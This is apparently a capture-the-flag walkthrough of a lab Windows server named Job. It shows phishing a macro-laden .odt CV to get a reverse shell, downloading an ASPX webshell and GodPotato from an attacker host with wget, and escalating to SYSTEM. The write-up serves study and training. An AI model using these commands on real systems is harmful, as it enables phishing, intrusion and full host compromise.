Introduction #
Job is a Windows Server 2022 machine centered around a company career page. Initial access comes from a phishing angle: the site’s contact page invites CV submissions as LibreOffice documents to career@job.local Sending a malicious .odt file with an auto-run macro triggers a reverse shell as job\jack.black, yielding the user flag. From there, jack.black’s group membership grants write access to the web root, allowing an ASPX webshell to be dropped and executed as iis apppool\defaultapppool. That account holds SeImpersonatePrivilege, which is abused via GodPotato to coerce a SYSTEM-authenticated token and escalate to nt authority\system, retrieving the root flag.
Recon #
nmap #
Initial nmap finds five open TCP ports, SMTP (25), HTTP (80), SMB (445), RDP (3389) and WinRM (5985):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.234.73
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack ttl 127 hMailServer smtpd
| smtp-commands: JOB, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Job.local
445/tcp open microsoft-ds? syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=job
| Issuer: commonName=job
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-31T09:16:47
| Not valid after: 2027-03-02T09:16:47
| MD5: e820:7fc5:f9ed:b9b0:98b9:6d51:483d:536f
| SHA-1: 21aa:2f0f:46af:c20c:fcd9:653b:8b77:1bd9:ed36:c631
| -----BEGIN CERTIFICATE-----
| MIICyjCCAbKgAwIBAgIQGFL95giWNK9FHOnrq/MyEjANBgkqhkiG9w0BAQsFADAO
<SNIP>
| unzB300xY0tny7G4Xm3e8Jh7bLixYDmcc5IsY2bqU7fFstw8aTjnBta3uwS2RA==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-09-01T09:19:04+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: JOB
| NetBIOS_Domain_Name: JOB
| NetBIOS_Computer_Name: JOB
| DNS_Domain_Name: job
| DNS_Computer_Name: job
| Product_Version: 10.0.20348
|_ System_Time: 2026-09-01T09:18:24+00:00
Service Info: Host: JOB; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 47960/tcp): CLEAN (Timeout)
| Check 2 (port 13843/tcp): CLEAN (Timeout)
| Check 3 (port 54271/udp): CLEAN (Timeout)
| Check 4 (port 65178/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2026-09-01T09:18:25
|_ start_date: N/A
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
It looks like a windows server. Hostname is JOB.
SMB - TCP 445 #
└─$ nxc smb 10.129.234.73
SMB 10.129.234.73 445 JOB [*] Windows Server 2022 Build 20348 (name:JOB) (domain:job) (signing:True) (SMBv1:False)
Guest account is disabled, and anonymous auth doesn’t work:
└─$ nxc smb 10.129.234.73 -u guest -p ''
SMB 10.129.234.73 445 JOB [*] Windows Server 2022 Build 20348 (name:JOB) (domain:job) (signing:True) (SMBv1:False)
SMB 10.129.234.73 445 JOB [-] job\guest: STATUS_ACCOUNT_DISABLED
└─$ nxc smb 10.129.234.73 -u test -p test
SMB 10.129.234.73 445 JOB [*] Windows Server 2022 Build 20348 (name:JOB) (domain:job) (signing:True) (SMBv1:False)
SMB 10.129.234.73 445 JOB [-] job\test:test STATUS_LOGON_FAILURE
It is dead end at the moment, I need to get some credentials first.
Website - TCP 80 #
The website is an empty page:
That asks for cv, as a libre office document to be sent to career@job.local
Directory brute force #
The dir scan returns nothing interesting:
└─$ gobuster dir -u http://10.129.234.73/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.234.73/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 151] [--> http://10.129.234.73/assets/]
/aspnet_client (Status: 301) [Size: 158] [--> http://10.129.234.73/aspnet_client/]
/css (Status: 301) [Size: 148] [--> http://10.129.234.73/css/]
/index.html (Status: 200) [Size: 3261]
/js (Status: 301) [Size: 147] [--> http://10.129.234.73/js/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
SMTP - TCP 25 #
└─$ telnet 10.129.234.73 25
Trying 10.129.234.73...
Connected to 10.129.234.73.
Escape character is '^]'.
220 JOB ESMTP
EHLO tst.local
250-JOB
250-SIZE 20480000
250-AUTH LOGIN
250 HELP
VRFY career
502 VRFY disallowed.
MAIL FROM:<test@test.test>
250 OK
RCPT TO: <career@job.local>
250 OK
VRFY to verify the career account was disabled, but RCPT TO: <career@ob.local> seems to work fine to verify the user exists and I can send mail there.
RCPT TO: <test2@test.test>
250 OK
But it gives me the same response on any accout, so it looks like the server is not validating recipients meaning I can not use it for user enumeration.
User #
Create payload CV #
On the website it was written they want CV in Libre Office send to their email. I can create one with something a little extra.
I can create a macro that will run on document open with a reverse shell
Now just send it:
└─$ echo "my cv" | s-nail -s "cv" -r "test@test.com" -a cv.odt -S mta="smtp://10.129.234.73:25" career@job.local
s-nail: Obsoletion warning: Use of old-style credentials, which will vanish in v15!
s-nail: Please read the manual section "On URL syntax and credential lookup"
And I get a hit on a listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.234.73] 53987
PS C:\Program Files\LibreOffice\program> whoami
job\jack.black
I can grab the user flag:
PS C:\Users\jack.black\Desktop> type user.txt
d7dac479f3d24a7c9f7914bf69540dd7
Root #
Enumeration #
jack.black does not have any useful privileges:
PS C:\Users\jack.black\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
but is a member of developers and Remote Desktop Users group, without a password it os not useful now, but keep that in mind.
PS C:\Users\jack.black\Desktop> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
JOB\developers Alias S-1-5-21-3629909232-404814612-4151782453-1001 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Web #
wwwroot in the C:\inetpub\ has the website files:
PS C:\inetpub\wwwroot> dir
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/10/2021 8:52 PM aspnet_client
d----- 11/9/2021 9:24 PM assets
d----- 11/9/2021 9:24 PM css
d----- 11/9/2021 9:24 PM js
-a---- 11/10/2021 9:01 PM 298 hello.aspx
-a---- 11/7/2021 1:05 PM 3261 index.html
Webshell #
I’ll grab an ASPX webshell, start a Python webserver and fetch it to Job:
PS C:\inetpub\wwwroot> wget http://10.10.15.23:8082/cmd.aspx -OutFile "cmd.aspx"
PS C:\inetpub\wwwroot> dir
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/10/2021 8:52 PM aspnet_client
d----- 11/9/2021 9:24 PM assets
d----- 11/9/2021 9:24 PM css
d----- 11/9/2021 9:24 PM js
-a---- 9/1/2026 10:17 AM 1547 cmd.aspx
-a---- 11/10/2021 9:01 PM 298 hello.aspx
-a---- 11/7/2021 1:05 PM 3261 index.html
Now I can visit http://10.129.234.73/cmd.aspx and get a webshell:
Potato #
The server is running as iis apppool\defaultapppool who has SeImpersonatePrivilege
That is all I need to run GodPotato, grab latest release and get it to the machine:
PS C:\inetpub\wwwroot> wget http://10.10.15.23:8082/GodPotato-NET4.exe -OutFile "GodPotato.exe"
PS C:\inetpub\wwwroot> dir
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/10/2021 8:52 PM aspnet_client
d----- 11/9/2021 9:24 PM assets
d----- 11/9/2021 9:24 PM css
d----- 11/9/2021 9:24 PM js
-a---- 9/1/2026 10:17 AM 1547 cmd.aspx
-a---- 9/1/2026 10:26 AM 57344 GodPotato.exe
-a---- 11/10/2021 9:01 PM 298 hello.aspx
-a---- 11/7/2021 1:05 PM 3261 index.html
I can run it in the webshell and see it works, I am nt authority\system:
Flag #
Now just change the command a little and grab the root flag:
/c C:\inetpub\wwwroot\GodPotato.exe -cmd "cmd.exe /c type C:\Users\Administrator\Desktop\root.txt"
